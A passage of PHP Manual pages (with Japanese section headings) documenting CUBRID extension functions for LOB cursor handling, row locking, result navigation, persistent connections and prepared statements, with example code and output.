$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES (?, ?)");
cubrid_bind($req, 1, 1);

$lob = cubrid_lob2_new($conn, "clob");
cubrid_lob2_import($lob, "doc_1.txt");
cubrid_lob2_bind($req, 2, $lob, 'CLOB'); // or cubrid_lob2_bind($req, 2, $lob);

cubrid_execute($req);

cubrid_lob2_close($lob);

$req = cubrid_execute($conn, "select * from test_lob");
$row = cubrid_fetch_row($req, CUBRID_LOB);
$lob = $row[1];

cubrid_lob2_seek64($lob, "20101029056306120215", CUBRID_CURSOR_FIRST);
$data = cubrid_lob2_read($lob, 20);
echo $data."\n";
cubrid_disconnect($conn);
?>

参考

  • cubrid_lob2_read() - Read from BLOB/CLOB data
  • cubrid_lob2_write() - Write to a lob object
  • cubrid_lob2_seek() - Move the cursor of a lob object
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object
  • cubrid_lob2_size() - Get a lob object's size
  • cubrid_lob2_size64() - Get a lob object's size

User Contributed Notes

There are no user contributed notes for this page.


Move the cursor of a lob object

  • ≪ cubrid_lob2_seek64
  • cubrid_lob2_size64 ≫
  • PHP Manual
  • CUBRID 関数
  • Move the cursor of a lob object

cubrid_lob2_seek

(PECL CUBRID >= 8.4.1)

cubrid_lob2_seek — Move the cursor of a lob object

説明

cubrid_lob2_seek ( resource $lob_identifier , int $offset , int $origin = CUBRID_CURSOR_CURRENT ) : bool

The cubrid_lob2_seek() function is used to move the cursor position of a lob object by the value set in the offset argument, to the direction set in the origin argument.

To set the origin argument, you can use CUBRID_CURSOR_FIRST to set the cursor position moving forward offset units from the first beginning. In this case, offset must be a positive value.

If you use CUBRID_CURSOR_CURRENT for origin, you can move forward or backward. and offset can be positive or negative.

If you use CUBRID_CURSOR_LAST for origin, you can move backward offset units from the end of LOB object and offset only can be positive.

パラメータ

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

offset

Number of units you want to move the cursor.

origin

This parameter can be the following values:

CUBRID_CURSOR_FIRST: move forward from the first beginning.

CUBRID_CURSOR_CURRENT: move forward or backward from the current position.

CUBRID_CURSOR_LAST: move backward at the end of LOB object.

返り値

true if the process is successful and false for failure.

例

例1 cubrid_lob2_seek() example

<?php
// test_lob (id INT, contents CLOB)
$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");
$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES(2, ?)");

$lob = cubrid_lob2_new($conn, 'CLOB');
$len = cubrid_lob2_write($lob, "Hello world");

cubrid_lob2_seek($lob, 0, CUBRID_CURSOR_LAST);
cubrid_lob2_write($lob, "beautiful");

cubrid_lob2_seek($lob, 15, CUBRID_CURSOR_FIRST);
$data = cubrid_lob2_read($lob, 5);

echo $data."\n";

cubrid_lob2_bind($req, 1, $lob);
cubrid_execute($req);

cubrid_disconnect($conn);
?>

参考

  • cubrid_lob2_read() - Read from BLOB/CLOB data
  • cubrid_lob2_write() - Write to a lob object
  • cubrid_lob2_seek64() - Move the cursor of a lob object
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object
  • cubrid_lob2_size() - Get a lob object's size
  • cubrid_lob2_size64() - Get a lob object's size

User Contributed Notes

There are no user contributed notes for this page.


Get a lob object's size

  • ≪ cubrid_lob2_seek
  • cubrid_lob2_size ≫
  • PHP Manual
  • CUBRID 関数
  • Get a lob object's size

cubrid_lob2_size64

(PECL CUBRID >= 8.4.1)

cubrid_lob2_size64 — Get a lob object's size

説明

cubrid_lob2_size64 ( resource $lob_identifier ) : string

The cubrid_lob2_size64() function is used to get the size of a lob object. If the size of a lob object is larger than an integer data can be stored, you can use this function and it will return the size as a string.

パラメータ

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

返り値

It will return the size of the LOB object as a string when it processes successfully.

false on failure.

参考

  • cubrid_lob2_read() - Read from BLOB/CLOB data
  • cubrid_lob2_write() - Write to a lob object
  • cubrid_lob2_seek() - Move the cursor of a lob object
  • cubrid_lob2_seek64() - Move the cursor of a lob object
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object
  • cubrid_lob2_size() - Get a lob object's size

User Contributed Notes

There are no user contributed notes for this page.


Get a lob object's size

  • ≪ cubrid_lob2_size64
  • cubrid_lob2_tell64 ≫
  • PHP Manual
  • CUBRID 関数
  • Get a lob object's size

cubrid_lob2_size

(PECL CUBRID >= 8.4.1)

cubrid_lob2_size — Get a lob object's size

説明

cubrid_lob2_size ( resource $lob_identifier ) : int

The cubrid_lob2_size() function is used to get the size of a lob object.

パラメータ

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

返り値

It will return the size of the LOB object when it processes successfully.

false on failure.

参考

  • cubrid_lob2_read() - Read from BLOB/CLOB data
  • cubrid_lob2_write() - Write to a lob object
  • cubrid_lob2_seek() - Move the cursor of a lob object
  • cubrid_lob2_seek64() - Move the cursor of a lob object
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object
  • cubrid_lob2_size64() - Get a lob object's size

User Contributed Notes

There are no user contributed notes for this page.


Tell the cursor position of the LOB object

  • ≪ cubrid_lob2_size
  • cubrid_lob2_tell ≫
  • PHP Manual
  • CUBRID 関数
  • Tell the cursor position of the LOB object

cubrid_lob2_tell64

(PECL CUBRID >= 8.4.1)

cubrid_lob2_tell64 — Tell the cursor position of the LOB object

説明

cubrid_lob2_tell64 ( resource $lob_identifier ) : string

The cubrid_lob2_tell64() function is used to tell the cursor position of the LOB object. If the size of a lob object is larger than an integer data can be stored, you can use this function and it will return the position information as a string.

パラメータ

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

返り値

It will return the cursor position on the LOB object as a string when it processes successfully.

false on failure.

参考

  • cubrid_lob2_read() - Read from BLOB/CLOB data
  • cubrid_lob2_write() - Write to a lob object
  • cubrid_lob2_seek() - Move the cursor of a lob object
  • cubrid_lob2_seek64() - Move the cursor of a lob object
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object
  • cubrid_lob2_size() - Get a lob object's size
  • cubrid_lob2_size64() - Get a lob object's size

User Contributed Notes

There are no user contributed notes for this page.


Tell the cursor position of the LOB object

  • ≪ cubrid_lob2_tell64
  • cubrid_lob2_write ≫
  • PHP Manual
  • CUBRID 関数
  • Tell the cursor position of the LOB object

cubrid_lob2_tell

(PECL CUBRID >= 8.4.1)

cubrid_lob2_tell — Tell the cursor position of the LOB object

説明

cubrid_lob2_tell ( resource $lob_identifier ) : int

The cubrid_lob2_tell() function is used to tell the cursor position of the LOB object.

パラメータ

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

返り値

It will return the cursor position on the LOB object when it processes successfully.

false on failure.

参考

  • cubrid_lob2_read() - Read from BLOB/CLOB data
  • cubrid_lob2_write() - Write to a lob object
  • cubrid_lob2_seek() - Move the cursor of a lob object
  • cubrid_lob2_seek64() - Move the cursor of a lob object
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object
  • cubrid_lob2_size() - Get a lob object's size
  • cubrid_lob2_size64() - Get a lob object's size

User Contributed Notes

There are no user contributed notes for this page.


Write to a lob object

  • ≪ cubrid_lob2_tell
  • cubrid_lock_read ≫
  • PHP Manual
  • CUBRID 関数
  • Write to a lob object

cubrid_lob2_write

(PECL CUBRID >= 8.4.1)

cubrid_lob2_write — Write to a lob object

説明

cubrid_lob2_write ( resource $lob_identifier , string $buf ) : bool

The cubrid_lob2_write() function reads as much as data from buf and stores it to the LOB object. Note that this function can only append characters now.

パラメータ

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

buf

Data that need to be written to the lob object.

返り値

true if the process is successful and false for failure.

例

例1 cubrid_lob2_write() example 1

<?php
// test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES(2, ?)");

$lob = cubrid_lob2_new($conn, 'CLOB');
$len = cubrid_lob2_write($lob, "Hello world");

cubrid_lob2_bind($req, 1, $lob);
cubrid_execute($req);

cubrid_disconnect($conn);
?>

例2 cubrid_lob2_write() example 2

<?php
// test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES(1, ?)");
$lob1 = cubrid_lob2_new($conn, 'CLOB');
$len = cubrid_lob2_write($lob1, "cubrid php driver");
cubrid_lob2_bind($req, 1, $lob1);
cubrid_execute($req);

$req = cubrid_execute($conn, "select * from test_lob");

$row = cubrid_fetch_row($req, CUBRID_LOB);
$lob2 = $row[1];
cubrid_lob2_seek($lob2, 0, CUBRID_CURSOR_LAST);

$pos = cubrid_lob2_tell($lob2);
print "pos before write: $pos\n";

cubrid_lob2_write($lob2, "Hello world");

$pos = cubrid_lob2_tell($lob2);
print "pos after write: $pos\n";

cubrid_disconnect($conn);
?>

参考

  • cubrid_lob2_read() - Read from BLOB/CLOB data
  • cubrid_lob2_seek() - Move the cursor of a lob object
  • cubrid_lob2_seek64() - Move the cursor of a lob object
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object
  • cubrid_lob2_size() - Get a lob object's size
  • cubrid_lob2_size64() - Get a lob object's size

User Contributed Notes

There are no user contributed notes for this page.


Set a read lock on the given OID

  • ≪ cubrid_lob2_write
  • cubrid_lock_write ≫
  • PHP Manual
  • CUBRID 関数
  • Set a read lock on the given OID

cubrid_lock_read

(PECL CUBRID >= 8.3.0)

cubrid_lock_read — Set a read lock on the given OID

説明

cubrid_lock_read ( resource $conn_identifier , string $oid ) : bool

The cubrid_lock_read() function is used to put read lock on the instance pointed by given oid.

パラメータ

conn_identifier

Connection identifier.

oid

OID of the instance that you want to put read lock on.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_lock_read() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

cubrid_lock_read($conn, $oid);

$attr = cubrid_get($conn, $oid, "b");
var_dump($attr);

$attr = cubrid_get($conn, $oid);
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

string(9) "{1, 2, 3}"
array(4) {
  ["a"]=>
  string(1) "1"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "1"
    [1]=>
    string(1) "2"
    [2]=>
    string(1) "3"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "11"
    [1]=>
    string(2) "22"
    [2]=>
    string(2) "33"
    [3]=>
    string(3) "333"
  }
  ["d"]=>
  string(10) "a         "
}

参考

  • cubrid_lock_write() - Set a write lock on the given OID

User Contributed Notes

There are no user contributed notes for this page.


Set a write lock on the given OID

  • ≪ cubrid_lock_read
  • cubrid_move_cursor ≫
  • PHP Manual
  • CUBRID 関数
  • Set a write lock on the given OID

cubrid_lock_write

(PECL CUBRID >= 8.3.0)

cubrid_lock_write — Set a write lock on the given OID

説明

cubrid_lock_write ( resource $conn_identifier , string $oid ) : bool

The cubrid_lock_write() function is used to put write lock on the instance pointed by the given oid.

パラメータ

conn_identifier

Connection identifier.

oid

OID of the instance that you want to put write lock on.

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_lock_write() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

cubrid_lock_write($conn, $oid);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_put($conn, $oid, "b", array(2, 4, 8));

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(3) {
  [0]=>
  string(1) "2"
  [1]=>
  string(1) "4"
  [2]=>
  string(1) "8"
}

参考

  • cubrid_lock_read() - Set a read lock on the given OID

User Contributed Notes

There are no user contributed notes for this page.


Move the cursor in the result

  • ≪ cubrid_lock_write
  • cubrid_next_result ≫
  • PHP Manual
  • CUBRID 関数
  • Move the cursor in the result

cubrid_move_cursor

(PECL CUBRID >= 8.3.0)

cubrid_move_cursor — Move the cursor in the result

説明

cubrid_move_cursor ( resource $req_identifier , int $offset , int $origin = CUBRID_CURSOR_CURRENT ) : bool

The cubrid_move_cursor() function is used to move the current cursor location of req_identifier by the value set in the offset argument, to the direction set in the origin argument. To set the origin argument, you can use CUBRID_CURSOR_FIRST for the first part of the result, CUBRID_CURSOR_CURRENT for the current location of the result, or CUBRID_CURSOR_LAST for the last part of the result. If origin argument is not explicitly designated, then the function uses CUBRID_CURSOR_CURRENT as its default value.

If the value of cursor movement range goes over the valid limit, then the cursor moves to the next location after the valid range for the cursor. For example, if you move 20 units in the result with the size of 10, then the cursor will move to 11th place and return CUBRID_NO_MORE_DATA.

パラメータ

req_identifier

Request identifier.

offset

Number of units you want to move the cursor.

origin

Location where you want to move the cursor from CUBRID_CURSOR_FIRST, CUBRID_CURSOR_CURRENT, CUBRID_CURSOR_LAST.

返り値

true, when process is successful.

false, when process is unsucceful.

例

例1 cubrid_move_cursor() example

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code");
cubrid_move_cursor($req, 1, CUBRID_CURSOR_LAST);

$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_CURRENT);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

array(2) {
  [0]=>
  string(1) "G"
  [1]=>
  string(4) "Gold"
}
array(2) {
  [0]=>
  string(1) "X"
  [1]=>
  string(5) "Mixed"
}
array(2) {
  [0]=>
  string(1) "M"
  [1]=>
  string(3) "Man"
}

参考

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Get result of next query when executing multiple SQL statements

  • ≪ cubrid_move_cursor
  • cubrid_num_cols ≫
  • PHP Manual
  • CUBRID 関数
  • Get result of next query when executing multiple SQL statements

cubrid_next_result

(PECL CUBRID >= 8.4.0)

cubrid_next_result — Get result of next query when executing multiple SQL statements

説明

cubrid_next_result ( resource $result ) : bool

The cubrid_next_result() function is used to get results of next query if multiple SQL statements are executed and CUBRID_EXEC_QUERY_ALL flag is set upon cubrid_execute().

パラメータ

result

result comes from a call to cubrid_execute()

返り値

true, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_next_result() example

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb", "dba");

$sql_stmt = "SELECT * FROM code; SELECT * FROM history WHERE host_year=2004 AND event_code=20281";
$res = cubrid_execute($conn, $sql_stmt, CUBRID_EXEC_QUERY_ALL);

get_result_info($res);
cubrid_next_result($res);
get_result_info($res);

function get_result_info($req)
{
    printf("\n------------ get_result_info --------------------\n");

    $row_num = cubrid_num_rows($req);
    $col_num = cubrid_num_cols($req);

    $column_name_list = cubrid_column_names($req);
    $column_type_list = cubrid_column_types($req);

    $column_last_name = cubrid_field_name($req, $col_num - 1);
    $column_last_table = cubrid_field_table($req, $col_num - 1);

    $column_last_type = cubrid_field_type($req, $col_num - 1);
    $column_last_len = cubrid_field_len($req, $col_num - 1);

    $column_1_flags = cubrid_field_flags($req, 1);

    printf("%-30s %d\n", "Row count:", $row_num);
    printf("%-30s %d\n", "Column count:", $col_num);
    printf("\n");

    printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Len");
    printf("------------------------------------------------------------------------------\n");

    $size = count($column_name_list);
    for($i = 0; $i < $size; $i++) {
        $column_len = cubrid_field_len($req, $i);
        printf("%-30s %-30s %-15s\n", $column_name_list[$i], $column_type_list[$i], $column_len);
    }
    printf("\n\n");

    printf("%-30s %s\n", "Last Column Name:", $column_last_name);
    printf("%-30s %s\n", "Last Column Table:", $column_last_table);
    printf("%-30s %s\n", "Last Column Type:", $column_last_type);
    printf("%-30s %d\n", "Last Column Len:", $column_last_len);
    printf("%-30s %s\n", "Second Column Flags:", $column_1_flags);

    printf("\n\n");
}
?>

上の例の出力は以下となります。

------------ get_result_info --------------------
Row count:                     6
Column count:                  2

Column Names                   Column Types                   Column Len
------------------------------------------------------------------------------
s_name                         char                           1
f_name                         varchar                        6

Last Column Name:              f_name
Last Column Table:             code
Last Column Type:              varchar
Last Column Len:               6
Second Column Flags:

------------ get_result_info --------------------
Row count:                     4
Column count:                  5

Column Names                   Column Types                   Column Len
------------------------------------------------------------------------------
event_code                     integer                        11
athlete                        varchar                        40
host_year                      integer                        11
score                          varchar                        10
unit                           varchar                        5

Last Column Name:              unit
Last Column Table:             history
Last Column Type:              varchar
Last Column Len:               5
Second Column Flags:           not_null primary_key unique_key

参考

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Return the number of columns in the result set

  • ≪ cubrid_next_result
  • cubrid_num_rows ≫
  • PHP Manual
  • CUBRID 関数
  • Return the number of columns in the result set

cubrid_num_cols

(PECL CUBRID >= 8.3.0)

cubrid_num_cols — Return the number of columns in the result set

説明

cubrid_num_cols ( resource $result ) : int

The cubrid_num_cols() function is used to get the number of columns from the query result. It can only be used when the query executed is a select statement.

パラメータ

result

Result.

返り値

Number of columns, when process is successful.

false, if SQL statement is not SELECT.

例

例1 cubrid_num_cols() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code");

$row_num = cubrid_num_rows($req);
$col_num = cubrid_num_cols($req);

printf("Row Num: %d\nColumn Num: %d\n", $row_num, $col_num);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

Row Num: 6
Column Num: 2

参考

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_num_rows() - Get the number of rows in the result set

User Contributed Notes

There are no user contributed notes for this page.


Get the number of rows in the result set

  • ≪ cubrid_num_cols
  • cubrid_pconnect_with_url ≫
  • PHP Manual
  • CUBRID 関数
  • Get the number of rows in the result set

cubrid_num_rows

(PECL CUBRID >= 8.3.0)

cubrid_num_rows — Get the number of rows in the result set

説明

cubrid_num_rows ( resource $result ) : int

The cubrid_num_rows() function is used to get the number of rows from the query result. You can use it only when the query executed is a select statement. When you want to know such value for INSERT, UPDATE, or DELETE query, you have to use the cubrid_affected_rows() function.

Note: The cubrid_num_rows() function can only be used for synchronous query; it returns 0 when it is used for asynchronous query.

パラメータ

result

result comes from a call to cubrid_execute(), cubrid_query() and cubrid_prepare()

返り値

Number of rows, when process is successful.

0 when the query was done in async mode.

-1, if SQL statement is not SELECT.

false when process is unsuccessful.

例

例1 cubrid_num_rows() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code");

$row_num = cubrid_num_rows($req);
$col_num = cubrid_num_cols($req);

printf("Row Num: %d\nColumn Num: %d\n", $row_num, $col_num);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

Row Num: 6
Column Num: 2

参考

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_num_cols() - Return the number of columns in the result set
  • cubrid_affected_rows() - Return the number of rows affected by the last SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Open a persistent connection to CUBRID server

  • ≪ cubrid_num_rows
  • cubrid_pconnect ≫
  • PHP Manual
  • CUBRID 関数
  • Open a persistent connection to CUBRID server

cubrid_pconnect_with_url

(PECL CUBRID >= 8.3.1)

cubrid_pconnect_with_url — Open a persistent connection to CUBRID server

説明

cubrid_pconnect_with_url ( string $conn_url , string $userid = ? , string $passwd = ? ) : resource

Establishes a persistent connection to a CUBRID server.

cubrid_pconnect_with_url() acts very much like cubrid_connect_with_url() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, port, dbname and userid. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (cubrid_close() or cubrid_disconnect() will not close links established by cubrid_pconnect_with_url()).

This type of link is therefore called 'persistent'.

<url> ::= CUBRID:<host>:<db_name>:<db_user>:<db_password>:[?<properties>]

<properties> ::= <property> [&<property>]

<properties> ::= alhosts=<alternative_hosts>[ &rctime=<time>]

<properties> ::= login_timeout=<milli_sec>

<properties> ::= query_timeout=<milli_sec>

<properties> ::= disconnect_on_query_timeout=true|false

<alternative_hosts> ::= <standby_broker1_host>:<port> [,<standby_broker2_host>:<port>]

<host> := HOSTNAME | IP_ADDR

<time> := SECOND

<milli_sec> := MILLI SECOND

  • host : A host name or IP address of the master database
  • db_name : A name of the database
  • db_user : A name of the database user
  • db_password : A database user password
  • alhosts : Specifies the broker information of the standby server, which is used for failover when it is impossible to connect to the active server. You can specify multiple brokers for failover, and the connection to the brokers is attempted in the order listed in alhosts
  • rctime : An interval between the attempts to connect to the active broker in which failure occurred. After a failure occurs, the system connects to the broker specified by althosts (failover), terminates the transaction, and then attempts to connect to the active broker of the master database at every rctime. The default value is 600 seconds.
  • login_timeout : Timeout value (unit: msec.) for database login. The default value is 0, which means infinite postponement.
  • query_timeout : Timeout value (unit: msec.) for query request. Upon timeout, a message to cancel requesting a query transferred to server is sent. The return value can depend on the disconnect_on_query_timeout configuration; even though the message to cancel a request is sent to server, that request may succeed.
  • disconnect_on_query_timeout : Configures a value whether to immediately return an error of function being executed upon timeout. The default value is false.

注意:

? and : that are used as identifiers in PHP connection URL can't be included in the password. The following is an example of a password that is invalid to use as connection URL because it contains "?:".

$url = "CUBRID:localhost:33000:tdb:dba:12?:?login_timeout=100";

Passwords that contain ? or : may be passed as a separate parameter.

$url = "CUBRID:localhost:33000:tbd:::?login_timeout=100";

$conn = cubrid_pconnect_with_url ($url, "dba", "12?");

If user or password is empty,you can't delete ":",the following is an example.

$url = "CUBRID:localhost:33000:demodb:::";

パラメータ

conn_url

A character string that contains server connection information.

userid

User name for the database.

passwd

User password.

返り値

Connection identifier, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_pconnect_with_url() url without properties example

<?php
$conn_url = "CUBRID:127.0.0.1:33000:demodb:dba::"
$con = cubrid_pconnect_with_url ($conn_url);

if ($con) {
   echo "connected successfully";
   cubrid_execute($con, "create table person(id int,name char(16))");
   $req =cubrid_execute($con, "insert into person values(1,'James')");

   if ($req) {
      cubrid_close_request ($req);
      cubrid_commit ($con);
   } else {
      cubrid_rollback ($con);
   }
   cubrid_disconnect ($con);
}
?>

例2 cubrid_pconnect_with_url() url with properties example

<?php
$conn_url = "CUBRID:127.0.0.1:33000:demodb:dba::?althost=10.34.63.132:33088&rctime=100"
$con = cubrid_pconnect_with_url ($conn_url);

if ($con) {
   echo "connected successfully";
   $req =cubrid_execute($con, "insert into person values(1,'James')");

   if ($req) {
      cubrid_close_request ($req);
      cubrid_commit ($con);
   } else {
      cubrid_rollback ($con);
   }
   cubrid_disconnect ($con);
}
?>

参考

  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server
  • cubrid_pconnect() - Open a persistent connection to a CUBRID server
  • cubrid_disconnect() - Close a database connection
  • cubrid_close() - Close CUBRID connection

User Contributed Notes

There are no user contributed notes for this page.


Open a persistent connection to a CUBRID server

  • ≪ cubrid_pconnect_with_url
  • cubrid_prepare ≫
  • PHP Manual
  • CUBRID 関数
  • Open a persistent connection to a CUBRID server

cubrid_pconnect

(PECL CUBRID >= 8.3.1)

cubrid_pconnect — Open a persistent connection to a CUBRID server

説明

cubrid_pconnect ( string $host , int $port , string $dbname , string $userid = ? , string $passwd = ? ) : resource

Establishes a persistent connection to a CUBRID server.

cubrid_pconnect() acts very much like cubrid_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, port, dbname and userid. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (cubrid_close() or cubrid_disconnect() will not close links established by cubrid_pconnect()).

This type of link is therefore called 'persistent'.

パラメータ

host

Host name or IP address of CUBRID CAS server.

port

Port number of CUBRID CAS server (BROKER_PORT configured in $CUBRID/conf/cubrid_broker.conf).

dbname

Name of database.

userid

User name for the database.

passwd

User password.

返り値

Connection identifier, when process is successful.

false, when process is unsuccessful.

例

例1 cubrid_connect() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_pconnect("localhost", 33000, "demodb", "dba");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

参考

  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server
  • cubrid_pconnect_with_url() - Open a persistent connection to CUBRID server
  • cubrid_disconnect() - Close a database connection
  • cubrid_close() - Close CUBRID connection

User Contributed Notes

There are no user contributed notes for this page.


Prepare a SQL statement for execution

  • ≪ cubrid_pconnect
  • cubrid_put ≫
  • PHP Manual
  • CUBRID 関数
  • Prepare a SQL statement for execution

cubrid_prepare

(PECL CUBRID >= 8.3.0)

cubrid_prepare — Prepare a SQL statement for execution

説明

cubrid_prepare ( resource $conn_identifier , string $prepare_stmt , int $option = 0 ) : resource

The cubrid_prepare() function is a sort of API which represents SQL statements compiled previously to a given connection handle. This pre-compiled SQL statement will be included in the cubrid_prepare().

Accordingly, you can use this statement effectively to execute several times repeatedly or to process long data. Only a single statement can be used and a parameter may put a question mark (?) to appropriate area in the SQL statement. Add a parameter when you bind a value in the VALUES clause of INSERT statement or in the WHERE clause. Note that it is allowed to bind a value to a MARK(?) by using the cubrid_bind() function only.

パラメータ

conn_identifier

Connection identifier.

prepare_stmt

Prepare query.

option

OID return option CUBRID_INCLUDE_OID.

返り値

Request identifier, if process is successful;

false, if process is unsuccessful.

例

例1 cubrid_prepare() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$sql = <<<EOD
SELECT g.event_code, e.name
FROM game g
JOIN event e ON g.event_code=e.code
WHERE host_year = ? AND event_code NOT IN (SELECT event_code FROM game WHERE host_year=?) GROUP BY event_code;
EOD;

$req = cubrid_prepare($conn, $sql);

cubrid_bind($req, 1, 2004);
cubrid_bind($req, 2, 2000);
cubrid_execute($req);

$row_num = cubrid_num_rows($req);
printf("There are %d event that exits in 2004 olympic but not in 2000. For example:\n\n", $row_num);

printf("%-15s %s\n", "Event_code", "Event_name");
printf("----------------------------\n");

$row = cubrid_fetch_assoc($req);
printf("%-15d %s\n", $row["event_code"], $row["name"]);
$row = cubrid_fetch_assoc($req);
printf("%-15d %s\n", $row["event_code"], $row["name"]);

cubrid_disconnect($conn);
?>

上の例の出力は以下となります。

There are 27 event that exits in 2004 olympic but not in 2000. For example:

Event_code      Event_name
----------------------------
20063           +91kg
20070           64kg

参考

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_bind() - Bind variables to a prepared statement as parameters

User Contributed Notes

